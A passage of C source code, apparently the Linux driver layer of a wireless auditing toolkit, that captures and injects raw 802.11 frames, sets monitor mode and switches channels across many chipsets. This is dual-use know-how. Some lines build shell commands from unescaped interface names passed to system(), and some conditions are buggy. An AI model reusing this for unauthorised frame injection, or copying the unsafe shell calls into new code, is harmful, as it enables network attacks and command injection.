iwreq wrq; memset( &wrq, 0, sizeof( struct iwreq ) ); if( dev->drivertype == DT_MAC80211_RT ) return (dev->rate*500000); if(dev->main_if) strncpy( wrq.ifr_name, dev->main_if, IFNAMSIZ ); else strncpy( wrq.ifr_name, wi_get_ifname(wi), IFNAMSIZ ); wrq.ifr_name[IFNAMSIZ-1] = 0; if( ioctl( dev->fd_in, SIOCGIWRATE, &wrq ) < 0 ) { return( -1 ); } return wrq.u.bitrate.value; } static int linux_set_mtu(struct wif *wi, int mtu) { struct priv_linux *dev = wi_priv(wi); struct ifreq ifr; memset( &ifr, 0, sizeof( struct ifreq ) ); if(dev->main_if) strncpy( ifr.ifr_name, dev->main_if, sizeof( ifr.ifr_name ) - 1 ); else strncpy( ifr.ifr_name, wi_get_ifname(wi), sizeof( ifr.ifr_name ) - 1 ); ifr.ifr_mtu = mtu; if( ioctl( dev->fd_in, SIOCSIFMTU, &ifr ) < 0 ) { return( -1 ); } return 0; } static int linux_get_mtu(struct wif *wi) { struct priv_linux *dev = wi_priv(wi); struct ifreq ifr; memset( &ifr, 0, sizeof( struct ifreq ) ); if(dev->main_if) strncpy( ifr.ifr_name, dev->main_if, sizeof( ifr.ifr_name ) - 1 ); else strncpy( ifr.ifr_name, wi_get_ifname(wi), sizeof( ifr.ifr_name ) - 1 ); if( ioctl( dev->fd_in, SIOCGIFMTU, &ifr ) < 0 ) { return( -1 ); } return ifr.ifr_mtu; } static int linux_read(struct wif *wi, unsigned char *buf, int count, struct rx_info *ri) { struct priv_linux *dev = wi_priv(wi); unsigned char tmpbuf[4096]; int caplen, n, got_signal, got_noise, got_channel, fcs_removed; caplen = n = got_signal = got_noise = got_channel = fcs_removed = 0; if((unsigned)count > sizeof(tmpbuf)) return( -1 ); if( ( caplen = read( dev->fd_in, tmpbuf, count ) ) < 0 ) { if( errno == EAGAIN ) return( 0 ); perror( "read failed" ); return( -1 ); } switch (dev->drivertype) { case DT_MADWIFI: caplen -= 4; /* remove the FCS for madwifi-old! only (not -ng)*/ break; default: break; } memset( buf, 0, count ); /* XXX */ if (ri) memset(ri, 0, sizeof(*ri)); if( dev->arptype_in == ARPHRD_IEEE80211_PRISM ) { /* skip the prism header */ if( tmpbuf[7] == 0x40 ) { /* prism54 uses a different format */ if(ri) { ri->ri_power = tmpbuf[0x33]; ri->ri_noise = *(unsigned int *)( tmpbuf + 0x33 + 12 ); ri->ri_rate = (*(unsigned int *)( tmpbuf + 0x33 + 24 ))*500000; got_signal = 1; got_noise = 1; } n = 0x40; } else { if(ri) { ri->ri_mactime = *(u_int64_t*)( tmpbuf + 0x5C - 48 ); ri->ri_channel = *(unsigned int *)( tmpbuf + 0x5C - 36 ); ri->ri_power = *(unsigned int *)( tmpbuf + 0x5C ); ri->ri_noise = *(unsigned int *)( tmpbuf + 0x5C + 12 ); ri->ri_rate = (*(unsigned int *)( tmpbuf + 0x5C + 24 ))*500000; // if( ! memcmp( iface[i], "ath", 3 ) ) if( dev->drivertype == DT_MADWIFI ) ri->ri_power -= *(int *)( tmpbuf + 0x68 ); if( dev->drivertype == DT_MADWIFING ) ri->ri_power -= *(int *)( tmpbuf + 0x68 ); got_channel = 1; got_signal = 1; got_noise = 1; } n = *(int *)( tmpbuf + 4 ); } if( n < 8 || n >= caplen ) return( 0 ); } if( dev->arptype_in == ARPHRD_IEEE80211_FULL ) { struct ieee80211_radiotap_iterator iterator; struct ieee80211_radiotap_header *rthdr; rthdr = (struct ieee80211_radiotap_header *) tmpbuf; if (ieee80211_radiotap_iterator_init(&iterator, rthdr, caplen, NULL) < 0) return (0); /* go through the radiotap arguments we have been given * by the driver */ while (ri && (ieee80211_radiotap_iterator_next(&iterator) >= 0)) { switch (iterator.this_arg_index) { case IEEE80211_RADIOTAP_TSFT: ri->ri_mactime = le64_to_cpu(*((uint64_t*)iterator.this_arg)); break; case IEEE80211_RADIOTAP_DBM_ANTSIGNAL: if(!got_signal) { if( *iterator.this_arg < 127 ) ri->ri_power = *iterator.this_arg; else ri->ri_power = *iterator.this_arg - 255; got_signal = 1; } break; case IEEE80211_RADIOTAP_DB_ANTSIGNAL: if(!got_signal) { if( *iterator.this_arg < 127 ) ri->ri_power = *iterator.this_arg; else ri->ri_power = *iterator.this_arg - 255; got_signal = 1; } break; case IEEE80211_RADIOTAP_DBM_ANTNOISE: if(!got_noise) { if( *iterator.this_arg < 127 ) ri->ri_noise = *iterator.this_arg; else ri->ri_noise = *iterator.this_arg - 255; got_noise = 1; } break; case IEEE80211_RADIOTAP_DB_ANTNOISE: if(!got_noise) { if( *iterator.this_arg < 127 ) ri->ri_noise = *iterator.this_arg; else ri->ri_noise = *iterator.this_arg - 255; got_noise = 1; } break; case IEEE80211_RADIOTAP_ANTENNA: ri->ri_antenna = *iterator.this_arg; break; case IEEE80211_RADIOTAP_CHANNEL: ri->ri_channel = getChannelFromFrequency(le16toh(*(uint16_t*)iterator.this_arg)); got_channel = 1; break; case IEEE80211_RADIOTAP_RATE: ri->ri_rate = (*iterator.this_arg) * 500000; break; case IEEE80211_RADIOTAP_FLAGS: /* is the CRC visible at the end? * remove */ if ( *iterator.this_arg & IEEE80211_RADIOTAP_F_FCS ) { fcs_removed = 1; caplen -= 4; } if ( *iterator.this_arg & IEEE80211_RADIOTAP_F_BADFCS ) return( 0 ); break; } } n = le16_to_cpu(rthdr->it_len); if( n <= 0 || n >= caplen ) return( 0 ); } caplen -= n; //detect fcs at the end, even if the flag wasn't set and remove it if( fcs_removed == 0 && check_crc_buf_osdep( tmpbuf+n, caplen - 4 ) == 1 ) { caplen -= 4; } memcpy( buf, tmpbuf + n, caplen ); if(ri && !got_channel) ri->ri_channel = wi_get_channel(wi); return( caplen ); } static int linux_write(struct wif *wi, unsigned char *buf, int count, struct tx_info *ti) { struct priv_linux *dev = wi_priv(wi); unsigned char maddr[6]; int ret, usedrtap=0; unsigned char tmpbuf[4096]; unsigned char rate; unsigned short int *p_rtlen; unsigned char u8aRadiotap[] = { 0x00, 0x00, // <-- radiotap version 0x0c, 0x00, // <- radiotap header length 0x04, 0x80, 0x00, 0x00, // <-- bitmap 0x00, // <-- rate 0x00, // <-- padding for natural alignment 0x18, 0x00, // <-- TX flags }; /* Pointer to the radiotap header length field for later use. */ p_rtlen = (unsigned short int*)(u8aRadiotap+2); if((unsigned) count > sizeof(tmpbuf)-22) return -1; /* XXX honor ti */ if (ti) {} rate = dev->rate; u8aRadiotap[8] = rate; switch (dev->drivertype) { case DT_MAC80211_RT: memcpy(tmpbuf, u8aRadiotap, sizeof (u8aRadiotap) ); memcpy(tmpbuf + sizeof (u8aRadiotap), buf, count); count += sizeof (u8aRadiotap); buf = tmpbuf; usedrtap = 1; break; case DT_WLANNG: /* Wlan-ng isn't able to inject on kernel > 2.6.11 */ if( dev->inject_wlanng == 0 ) { perror( "write failed" ); return( -1 ); } if (count >= 24) { /* for some reason, wlan-ng requires a special header */ if( ( ((unsigned char *) buf)[1] & 3 ) != 3 ) { memcpy( tmpbuf, buf, 24 ); memset( tmpbuf + 24, 0, 22 ); tmpbuf[30] = ( count - 24 ) & 0xFF; tmpbuf[31] = ( count - 24 ) >> 8; memcpy( tmpbuf + 46, buf + 24, count - 24 ); count += 22; } else { memcpy( tmpbuf, buf, 30 ); memset( tmpbuf + 30, 0, 16 ); tmpbuf[30] = ( count - 30 ) & 0xFF; tmpbuf[31] = ( count - 30 ) >> 8; memcpy( tmpbuf + 46, buf + 30, count - 30 ); count += 16; } buf = tmpbuf; } /* fall thru */ case DT_HOSTAP: if( ( ((unsigned char *) buf)[1] & 3 ) == 2 ) { /* Prism2 firmware swaps the dmac and smac in FromDS packets */ memcpy( maddr, buf + 4, 6 ); memcpy( buf + 4, buf + 16, 6 ); memcpy( buf + 16, maddr, 6 ); } break; default: break; } ret = write( dev->fd_out, buf, count ); if( ret < 0 ) { if( errno == EAGAIN || errno == EWOULDBLOCK || errno == ENOBUFS || errno == ENOMEM ) { usleep( 10000 ); return( 0 ); } perror( "write failed" ); return( -1 ); } /* radiotap header length is stored little endian on all systems */ if(usedrtap) ret-=letoh16(*p_rtlen); if( ret < 0 ) { if( errno == EAGAIN || errno == EWOULDBLOCK || errno == ENOBUFS || errno == ENOMEM ) { usleep( 10000 ); return( 0 ); } perror( "write failed" ); return( -1 ); } return( ret ); } #ifdef CONFIG_LIBNL static int ieee80211_channel_to_frequency(int chan) { if (chan < 14) return 2407 + chan * 5; if (chan == 14) return 2484; /* FIXME: dot11ChannelStartingFactor (802.11-2007 17.3.8.3.2) */ return (chan + 1000) * 5; } static int linux_set_channel_nl80211(struct wif *wi, int channel) { struct priv_linux *dev = wi_priv(wi); char s[32]; int pid, status, unused; unsigned int devid; struct nl_msg *msg; unsigned int freq; unsigned int htval = NL80211_CHAN_NO_HT; memset( s, 0, sizeof( s ) ); switch (dev->drivertype) { case DT_WLANNG: snprintf( s, sizeof( s ) - 1, "channel=%d", channel ); if( ( pid = fork() ) == 0 ) { close( 0 ); close( 1 ); close( 2 ); unused = chdir( "/" ); execl( dev->wlanctlng, "wlanctl-ng", wi_get_ifname(wi), "lnxreq_wlansniff", s, NULL ); exit( 1 ); } waitpid( pid, &status, 0 ); if( WIFEXITED(status) ) { dev->channel=channel; return( WEXITSTATUS(status) ); } else return( 1 ); break; case DT_ORINOCO: snprintf( s, sizeof( s ) - 1, "%d", channel ); if( ( pid = fork() ) == 0 ) { close( 0 ); close( 1 ); close( 2 ); unused = chdir( "/" ); execlp( dev->iwpriv, "iwpriv", wi_get_ifname(wi), "monitor", "1", s, NULL ); exit( 1 ); } waitpid( pid, &status, 0 ); dev->channel = channel; return 0; break; //yeah ;) case DT_ZD1211RW: snprintf( s, sizeof( s ) - 1, "%d", channel ); if( ( pid = fork() ) == 0 ) { close( 0 ); close( 1 ); close( 2 ); unused = chdir( "/" ); execlp(dev->iwconfig, "iwconfig", wi_get_ifname(wi), "channel", s, NULL ); exit( 1 ); } waitpid( pid, &status, 0 ); dev->channel = channel; chan=channel; return 0; break; //yeah ;) default: break; } /* libnl stuff */ chan=channel; devid=if_nametoindex(wi->wi_interface); freq=ieee80211_channel_to_frequency(channel); msg=nlmsg_alloc(); if (!msg) { fprintf(stderr, "failed to allocate netlink message\n"); return 2; } genlmsg_put(msg, 0, 0, genl_family_get_id(state.nl80211), 0, 0, NL80211_CMD_SET_WIPHY, 0); NLA_PUT_U32(msg, NL80211_ATTR_IFINDEX, devid); NLA_PUT_U32(msg, NL80211_ATTR_WIPHY_FREQ, freq); NLA_PUT_U32(msg, NL80211_ATTR_WIPHY_CHANNEL_TYPE, htval); nl_send_auto_complete(state.nl_sock,msg); nlmsg_free(msg); dev->channel = channel; return( 0 ); nla_put_failure: return -ENOBUFS; } #endif //CONFIG_LIBNL static int linux_set_channel(struct wif *wi, int channel) { struct priv_linux *dev = wi_priv(wi); char s[32]; int pid, status, unused; struct iwreq wrq; memset( s, 0, sizeof( s ) ); switch (dev->drivertype) { case DT_WLANNG: snprintf( s, sizeof( s ) - 1, "channel=%d", channel ); if( ( pid = fork() ) == 0 ) { close( 0 ); close( 1 ); close( 2 ); unused = chdir( "/" ); execl( dev->wlanctlng, "wlanctl-ng", wi_get_ifname(wi), "lnxreq_wlansniff", s, NULL ); exit( 1 ); } waitpid( pid, &status, 0 ); if( WIFEXITED(status) ) { dev->channel=channel; return( WEXITSTATUS(status) ); } else return( 1 ); break; case DT_ORINOCO: snprintf( s, sizeof( s ) - 1, "%d", channel ); if( ( pid = fork() ) == 0 ) { close( 0 ); close( 1 ); close( 2 ); unused = chdir( "/" ); execlp( dev->iwpriv, "iwpriv", wi_get_ifname(wi), "monitor", "1", s, NULL ); exit( 1 ); } waitpid( pid, &status, 0 ); dev->channel = channel; return 0; break; //yeah ;) case DT_ZD1211RW: snprintf( s, sizeof( s ) - 1, "%d", channel ); if( ( pid = fork() ) == 0 ) { close( 0 ); close( 1 ); close( 2 ); unused = chdir( "/" ); execlp(dev->iwconfig, "iwconfig", wi_get_ifname(wi), "channel", s, NULL ); exit( 1 ); } waitpid( pid, &status, 0 ); dev->channel = channel; return 0; break; //yeah ;) default: break; } memset( &wrq, 0, sizeof( struct iwreq ) ); strncpy( wrq.ifr_name, wi_get_ifname(wi), IFNAMSIZ ); wrq.ifr_name[IFNAMSIZ-1] = 0; wrq.u.freq.m = (double) channel; wrq.u.freq.e = (double) 0; if( ioctl( dev->fd_in, SIOCSIWFREQ, &wrq ) < 0 ) { usleep( 10000 ); /* madwifi needs a second chance */ if( ioctl( dev->fd_in, SIOCSIWFREQ, &wrq ) < 0 ) { /* perror( "ioctl(SIOCSIWFREQ) failed" ); */ return( 1 ); } } dev->channel = channel; return( 0 ); } static int linux_set_freq(struct wif *wi, int freq) { struct priv_linux *dev = wi_priv(wi); char s[32]; int pid, status, unused; struct iwreq wrq; memset( s, 0, sizeof( s ) ); switch (dev->drivertype) { case DT_WLANNG: case DT_ORINOCO: case DT_ZD1211RW: snprintf( s, sizeof( s ) - 1, "%dM", freq ); if( ( pid = fork() ) == 0 ) { close( 0 ); close( 1 ); close( 2 ); unused = chdir( "/" ); execlp(dev->iwconfig, "iwconfig", wi_get_ifname(wi), "freq", s, NULL ); exit( 1 ); } waitpid( pid, &status, 0 ); dev->freq = freq; return 0; break; //yeah ;) default: break; } memset( &wrq, 0, sizeof( struct iwreq ) ); strncpy( wrq.ifr_name, wi_get_ifname(wi), IFNAMSIZ ); wrq.ifr_name[IFNAMSIZ-1] = 0; wrq.u.freq.m = (double) freq*100000; wrq.u.freq.e = (double) 1; if( ioctl( dev->fd_in, SIOCSIWFREQ, &wrq ) < 0 ) { usleep( 10000 ); /* madwifi needs a second chance */ if( ioctl( dev->fd_in, SIOCSIWFREQ, &wrq ) < 0 ) { /* perror( "ioctl(SIOCSIWFREQ) failed" ); */ return( 1 ); } } dev->freq = freq; return( 0 ); } static int opensysfs(struct priv_linux *dev, char *iface, int fd) { int fd2; char buf[256]; /* ipw2200 injection */ snprintf(buf, 256, "/sys/class/net/%s/device/inject", iface); fd2 = open(buf, O_WRONLY); /* bcm43xx injection */ if (fd2 == -1) { snprintf(buf, 256, "/sys/class/net/%s/device/inject_nofcs", iface); fd2 = open(buf, O_WRONLY); } if (fd2 == -1) return -1; dup2(fd2, fd); close(fd2); dev->sysfs_inject=1; return 0; } int linux_get_monitor(struct wif *wi) { struct priv_linux *dev = wi_priv(wi); struct ifreq ifr; struct iwreq wrq; /* find the interface index */ if(dev->drivertype == DT_IPW2200) return( 0 ); memset( &ifr, 0, sizeof( ifr ) ); strncpy( ifr.ifr_name, wi_get_ifname(wi), sizeof( ifr.ifr_name ) - 1 ); // if( ioctl( fd, SIOCGIFINDEX, &ifr ) < 0 ) // { // printf("Interface %s: \n", iface); // perror( "ioctl(SIOCGIFINDEX) failed" ); // return( 1 ); // } /* lookup the hardware type */ if( ioctl( wi_fd(wi), SIOCGIFHWADDR, &ifr ) < 0 ) { printf("Interface %s: \n", wi_get_ifname(wi)); perror( "ioctl(SIOCGIFHWADDR) failed" ); return( 1 ); } /* lookup iw mode */ memset( &wrq, 0, sizeof( struct iwreq ) ); strncpy( wrq.ifr_name, wi_get_ifname(wi), IFNAMSIZ ); wrq.ifr_name[IFNAMSIZ-1] = 0; if( ioctl( wi_fd(wi), SIOCGIWMODE, &wrq ) < 0 ) { /* most probably not supported (ie for rtap ipw interface) * * so just assume its correctly set... */ wrq.u.mode = IW_MODE_MONITOR; } if( ( ifr.ifr_hwaddr.sa_family != ARPHRD_IEEE80211 && ifr.ifr_hwaddr.sa_family != ARPHRD_IEEE80211_PRISM && ifr.ifr_hwaddr.sa_family != ARPHRD_IEEE80211_FULL) || ( wrq.u.mode != IW_MODE_MONITOR && (dev->drivertype != DT_ORINOCO)) ) { return( 1 ); } return( 0 ); } int set_monitor( struct priv_linux *dev, char *iface, int fd ) { int pid, status, unused; struct iwreq wrq; if( strcmp(iface,"prism0") == 0 ) { dev->wl = wiToolsPath("wl"); if( ( pid = fork() ) == 0 ) { close( 0 ); close( 1 ); close( 2 ); unused = chdir( "/" ); execl( dev->wl, "wl", "monitor", "1", NULL); exit( 1 ); } waitpid( pid, &status, 0 ); if( WIFEXITED(status) ) return( WEXITSTATUS(status) ); return( 1 ); } else if (strncmp(iface, "rtap", 4) == 0 ) { return 0; } else { switch(dev->drivertype) { case DT_WLANNG: if( ( pid = fork() ) == 0 ) { close( 0 ); close( 1 ); close( 2 ); unused = chdir( "/" ); execl( dev->wlanctlng, "wlanctl-ng", iface, "lnxreq_wlansniff", "enable=true", "prismheader=true", "wlanheader=false", "stripfcs=true", "keepwepflags=true", "6", NULL ); exit( 1 ); } waitpid( pid, &status, 0 ); if( WIFEXITED(status) ) return( WEXITSTATUS(status) ); return( 1 ); break; case DT_ORINOCO: if( ( pid = fork() ) == 0 ) { close( 0 ); close( 1 ); close( 2 ); unused = chdir( "/" ); execlp( dev->iwpriv, "iwpriv", iface, "monitor", "1", "1", NULL ); exit( 1 ); } waitpid( pid, &status, 0 ); if( WIFEXITED(status) ) return( WEXITSTATUS(status) ); return 1; break; case DT_ACX: if( ( pid = fork() ) == 0 ) { close( 0 ); close( 1 ); close( 2 ); unused = chdir( "/" ); execlp( dev->iwpriv, "iwpriv", iface, "monitor", "2", "1", NULL ); exit( 1 ); } waitpid( pid, &status, 0 ); if( WIFEXITED(status) ) return( WEXITSTATUS(status) ); return 1; break; default: break; } memset( &wrq, 0, sizeof( struct iwreq ) ); strncpy( wrq.ifr_name, iface, IFNAMSIZ ); wrq.ifr_name[IFNAMSIZ-1] = 0; wrq.u.mode = IW_MODE_MONITOR; if( ioctl( fd, SIOCSIWMODE, &wrq ) < 0 ) { perror( "ioctl(SIOCSIWMODE) failed" ); return( 1 ); } if(dev->drivertype == DT_AT76USB) { sleep(3); } } /* couple of iwprivs to enable the prism header */ if( ! fork() ) /* hostap */ { close( 0 ); close( 1 ); close( 2 ); unused = chdir( "/" ); execlp( "iwpriv", "iwpriv", iface, "monitor_type", "1", NULL ); exit( 1 ); } wait( NULL ); if( ! fork() ) /* r8180 */ { close( 0 ); close( 1 ); close( 2 ); unused = chdir( "/" ); execlp( "iwpriv", "iwpriv", iface, "prismhdr", "1", NULL ); exit( 1 ); } wait( NULL ); if( ! fork() ) /* prism54 */ { close( 0 ); close( 1 ); close( 2 ); unused = chdir( "/" ); execlp( "iwpriv", "iwpriv", iface, "set_prismhdr", "1", NULL ); exit( 1 ); } wait( NULL ); return( 0 ); } static int openraw(struct priv_linux *dev, char *iface, int fd, int *arptype, unsigned char *mac) { struct ifreq ifr; struct ifreq ifr2; struct iwreq wrq; struct iwreq wrq2; struct packet_mreq mr; struct sockaddr_ll sll; struct sockaddr_ll sll2; /* find the interface index */ memset( &ifr, 0, sizeof( ifr ) ); strncpy( ifr.ifr_name, iface, sizeof( ifr.ifr_name ) - 1 ); if( ioctl( fd, SIOCGIFINDEX, &ifr ) < 0 ) { printf("Interface %s: \n", iface); perror( "ioctl(SIOCGIFINDEX) failed" ); return( 1 ); } memset( &sll, 0, sizeof( sll ) ); sll.sll_family = AF_PACKET; sll.sll_ifindex = ifr.ifr_ifindex; switch(dev->drivertype) { case DT_IPW2200: /* find the interface index */ memset( &ifr2, 0, sizeof( ifr ) ); strncpy( ifr2.ifr_name, dev->main_if, sizeof( ifr2.ifr_name ) - 1 ); if( ioctl( dev->fd_main, SIOCGIFINDEX, &ifr2 ) < 0 ) { printf("Interface %s: \n", dev->main_if); perror( "ioctl(SIOCGIFINDEX) failed" ); return( 1 ); } /* set iw mode to managed on main interface */ memset( &wrq2, 0, sizeof( struct iwreq ) ); strncpy( wrq2.ifr_name, dev->main_if, IFNAMSIZ ); wrq2.ifr_name[IFNAMSIZ-1] = 0; if( ioctl( dev->fd_main, SIOCGIWMODE, &wrq2 ) < 0 ) { perror("SIOCGIWMODE"); return 1; } wrq2.u.mode = IW_MODE_INFRA; if( ioctl( dev->fd_main, SIOCSIWMODE, &wrq2 ) < 0 ) { perror("SIOCSIWMODE"); return 1; } /* bind the raw socket to the interface */ memset( &sll2, 0, sizeof( sll2 ) ); sll2.sll_family = AF_PACKET; sll2.sll_ifindex = ifr2.ifr_ifindex; sll2.sll_protocol = htons( ETH_P_ALL ); if( bind( dev->fd_main, (struct sockaddr *) &sll2, sizeof( sll2 ) ) < 0 ) { printf("Interface %s: \n", dev->main_if); perror( "bind(ETH_P_ALL) failed" ); return( 1 ); } opensysfs(dev, dev->main_if, dev->fd_in); break; case DT_BCM43XX: opensysfs(dev, iface, dev->fd_in); break; case DT_WLANNG: sll.sll_protocol = htons( ETH_P_80211_RAW ); break; default: sll.sll_protocol = htons( ETH_P_ALL ); break; } /* lookup the hardware type */ if( ioctl( fd, SIOCGIFHWADDR, &ifr ) < 0 ) { printf("Interface %s: \n", iface); perror( "ioctl(SIOCGIFHWADDR) failed" ); return( 1 ); } /* lookup iw mode */ memset( &wrq, 0, sizeof( struct iwreq ) ); strncpy( wrq.ifr_name, iface, IFNAMSIZ ); wrq.ifr_name[IFNAMSIZ-1] = 0; if( ioctl( fd, SIOCGIWMODE, &wrq ) < 0 ) { /* most probably not supported (ie for rtap ipw interface) * * so just assume its correctly set... */ wrq.u.mode = IW_MODE_MONITOR; } if( ( ifr.ifr_hwaddr.sa_family != ARPHRD_IEEE80211 && ifr.ifr_hwaddr.sa_family != ARPHRD_IEEE80211_PRISM && ifr.ifr_hwaddr.sa_family != ARPHRD_IEEE80211_FULL) || ( wrq.u.mode != IW_MODE_MONITOR) ) { if (set_monitor( dev, iface, fd ) && !dev->drivertype == DT_ORINOCO ) { ifr.ifr_flags &= ~(IFF_UP | IFF_BROADCAST | IFF_RUNNING); if( ioctl( fd, SIOCSIFFLAGS, &ifr ) < 0 ) { perror( "ioctl(SIOCSIFFLAGS) failed" ); return( 1 ); } if (set_monitor( dev, iface, fd ) && !dev->drivertype == DT_ORINOCO ) { printf("Error setting monitor mode on %s\n",iface); return( 1 ); } } } /* Is interface st to up, broadcast & running ? */ if((ifr.ifr_flags | IFF_UP | IFF_BROADCAST | IFF_RUNNING) != ifr.ifr_flags) { /* Bring interface up*/ ifr.ifr_flags |= IFF_UP | IFF_BROADCAST | IFF_RUNNING; if( ioctl( fd, SIOCSIFFLAGS, &ifr ) < 0 ) { perror( "ioctl(SIOCSIFFLAGS) failed" ); return( 1 ); } } /* bind the raw socket to the interface */ if( bind( fd, (struct sockaddr *) &sll, sizeof( sll ) ) < 0 ) { printf("Interface %s: \n", iface); perror( "bind(ETH_P_ALL) failed" ); return( 1 ); } /* lookup the hardware type */ if( ioctl( fd, SIOCGIFHWADDR, &ifr ) < 0 ) { printf("Interface %s: \n", iface); perror( "ioctl(SIOCGIFHWADDR) failed" ); return( 1 ); } memcpy( mac, (unsigned char*)ifr.ifr_hwaddr.sa_data, 6); *arptype = ifr.ifr_hwaddr.sa_family; if( ifr.ifr_hwaddr.sa_family != ARPHRD_IEEE80211 && ifr.ifr_hwaddr.sa_family != ARPHRD_IEEE80211_PRISM && ifr.ifr_hwaddr.sa_family != ARPHRD_IEEE80211_FULL ) { if( ifr.ifr_hwaddr.sa_family == 1 ) fprintf( stderr, "\nARP linktype is set to 1 (Ethernet) " ); else fprintf( stderr, "\nUnsupported hardware link type %4d ", ifr.ifr_hwaddr.sa_family ); fprintf( stderr, "- expected ARPHRD_IEEE80211,\nARPHRD_IEEE80211_" "FULL or ARPHRD_IEEE80211_PRISM instead. Make\n" "sure RFMON is enabled: run 'airmon-ng start %s" " <#>'\nSysfs injection support was not found " "either.\n\n", iface ); return( 1 ); } /* enable promiscuous mode */ memset( &mr, 0, sizeof( mr ) ); mr.mr_ifindex = sll.sll_ifindex; mr.mr_type = PACKET_MR_PROMISC; if( setsockopt( fd, SOL_PACKET, PACKET_ADD_MEMBERSHIP, &mr, sizeof( mr ) ) < 0 ) { perror( "setsockopt(PACKET_MR_PROMISC) failed" ); return( 1 ); } return( 0 ); } /* * Open the interface and set mode monitor * Return 1 on failure and 0 on success */ static int do_linux_open(struct wif *wi, char *iface) { int kver, unused; struct utsname checklinuxversion; struct priv_linux *dev = wi_priv(wi); char *iwpriv = NULL; char strbuf[512]; FILE *f; char athXraw[] = "athXraw"; pid_t pid; int n; DIR *net_ifaces; struct dirent *this_iface; FILE *acpi; char r_file[128], buf[128]; struct ifreq ifr; char * unused_str; int iface_malloced = 0; dev->inject_wlanng = 1; dev->rate = 2; /* default to 1Mbps if nothing is set */ /* open raw socks */ if( ( dev->fd_in = socket( PF_PACKET, SOCK_RAW, htons( ETH_P_ALL ) ) ) < 0 ) { perror( "socket(PF_PACKET) failed" ); if( getuid() != 0 ) fprintf( stderr, "This program requires root privileges.\n" ); return( 1 ); } if( ( dev->fd_main = socket( PF_PACKET, SOCK_RAW, htons( ETH_P_ALL ) ) ) < 0 ) { perror( "socket(PF_PACKET) failed" ); if( getuid() != 0 ) fprintf( stderr, "This program requires root privileges.\n" ); return( 1 ); } /* Check iwpriv existence */ iwpriv = wiToolsPath("iwpriv"); #ifndef CONFIG_LIBNL dev->iwpriv = iwpriv; dev->iwconfig = wiToolsPath("iwconfig"); dev->ifconfig = wiToolsPath("ifconfig"); if (! iwpriv ) { fprintf(stderr, "Can't find wireless tools, exiting.\n"); goto close_in; } #endif /* Exit if ndiswrapper : check iwpriv ndis_reset */ if ( is_ndiswrapper(iface, iwpriv ) ) { fprintf(stderr, "Ndiswrapper doesn't support monitor mode.\n"); goto close_in; } if( ( dev->fd_out = socket( PF_PACKET, SOCK_RAW, htons( ETH_P_ALL ) ) ) < 0 ) { perror( "socket(PF_PACKET) failed" ); goto close_in; } /* figure out device type */ /* mac80211 radiotap injection * detected based on interface called mon... * since mac80211 allows multiple virtual interfaces * * note though that the virtual interfaces are ultimately using a * single physical radio: that means for example they must all * operate on the same channel */ /* mac80211 stack detection */ memset(strbuf, 0, sizeof(strbuf)); snprintf(strbuf, sizeof(strbuf) - 1, "ls /sys/class/net/%s/phy80211/subsystem >/dev/null 2>/dev/null", iface); if (system(strbuf) == 0) dev->drivertype = DT_MAC80211_RT; /* IPW2200 detection */ memset(strbuf, 0, sizeof(strbuf)); snprintf(strbuf, sizeof(strbuf) - 1, "ls /sys/class/net/%s/device/inject >/dev/null 2>/dev/null", iface); if (system(strbuf) == 0) dev->drivertype = DT_IPW2200; /* BCM43XX detection */ memset(strbuf, 0, sizeof(strbuf)); snprintf(strbuf, sizeof(strbuf) - 1, "ls /sys/class/net/%s/device/inject_nofcs >/dev/null 2>/dev/null", iface); if (system(strbuf) == 0) dev->drivertype = DT_BCM43XX; /* check if wlan-ng or hostap or r8180 */ if( strlen(iface) == 5 && memcmp(iface, "wlan", 4 ) == 0 ) { memset( strbuf, 0, sizeof( strbuf ) ); snprintf( strbuf, sizeof( strbuf ) - 1, "wlancfg show %s 2>/dev/null | " "grep p2CnfWEPFlags >/dev/null", iface); if( system( strbuf ) == 0 ) { if (uname( & checklinuxversion ) >= 0) { /* uname succeeded */ if (strncmp(checklinuxversion.release, "2.6.", 4) == 0 && strncasecmp(checklinuxversion.sysname, "linux", 5) == 0) { /* Linux kernel 2.6 */ kver = atoi(checklinuxversion.release + 4); if (kver > 11) { /* That's a kernel > 2.6.11, cannot inject */ dev->inject_wlanng = 0; } } } dev->drivertype = DT_WLANNG; dev->wlanctlng = wiToolsPath("wlanctl-ng"); } memset( strbuf, 0, sizeof( strbuf ) ); snprintf( strbuf, sizeof( strbuf ) - 1, "iwpriv %s 2>/dev/null | " "grep antsel_rx >/dev/null", iface); if( system( strbuf ) == 0 ) dev->drivertype=DT_HOSTAP; memset( strbuf, 0, sizeof( strbuf ) ); snprintf( strbuf, sizeof( strbuf ) - 1, "iwpriv %s 2>/dev/null | " "grep GetAcx111Info >/dev/null", iface); if( system( strbuf ) == 0 ) dev->drivertype=DT_ACX; } /* enable injection on ralink */ if( strcmp( iface, "ra0" ) == 0 || strcmp( iface, "ra1" ) == 0 || strcmp( iface, "rausb0" ) == 0 || strcmp( iface, "rausb1" ) == 0 ) { memset( strbuf, 0, sizeof( strbuf ) ); snprintf( strbuf, sizeof( strbuf ) - 1, "iwpriv %s rfmontx 1 >/dev/null 2>/dev/null", iface ); unused = system( strbuf ); } /* check if newer athXraw interface available */ if( ( strlen( iface ) >= 4 || strlen( iface ) <= 6 ) && memcmp( iface, "ath", 3 ) == 0 ) { dev->drivertype = DT_MADWIFI; memset( strbuf, 0, sizeof( strbuf ) ); snprintf(strbuf, sizeof( strbuf ) -1, "/proc/sys/net/%s/%%parent", iface); f = fopen(strbuf, "r"); if (f != NULL) { // It is madwifi-ng dev->drivertype=DT_MADWIFING; fclose( f ); /* should we force prism2 header? */ sprintf((char *) strbuf, "/proc/sys/net/%s/dev_type", iface); f = fopen( (char *) strbuf,"w"); if (f != NULL) { fprintf(f, "802\n"); fclose(f); } /* Force prism2 header on madwifi-ng */ } else { // Madwifi-old memset( strbuf, 0, sizeof( strbuf ) ); snprintf( strbuf, sizeof( strbuf ) - 1, "sysctl -w dev.%s.rawdev=1 >/dev/null 2>/dev/null", iface ); if( system( strbuf ) == 0 ) { athXraw[3] = iface[3]; memset( strbuf, 0, sizeof( strbuf ) ); snprintf( strbuf, sizeof( strbuf ) - 1, "ifconfig %s up", athXraw ); unused = system( strbuf ); #if 0 /* some people reported problems when prismheader is enabled */ memset( strbuf, 0, sizeof( strbuf ) ); snprintf( strbuf, sizeof( strbuf ) - 1, "sysctl -w dev.%s.rawdev_type=1 >/dev/null 2>/dev/null", iface ); unused = system( strbuf ); #endif iface = athXraw; } } } /* test if orinoco */ if( memcmp( iface, "eth", 3 ) == 0 ) { if( ( pid = fork() ) == 0 ) { close( 0 ); close( 1 ); close( 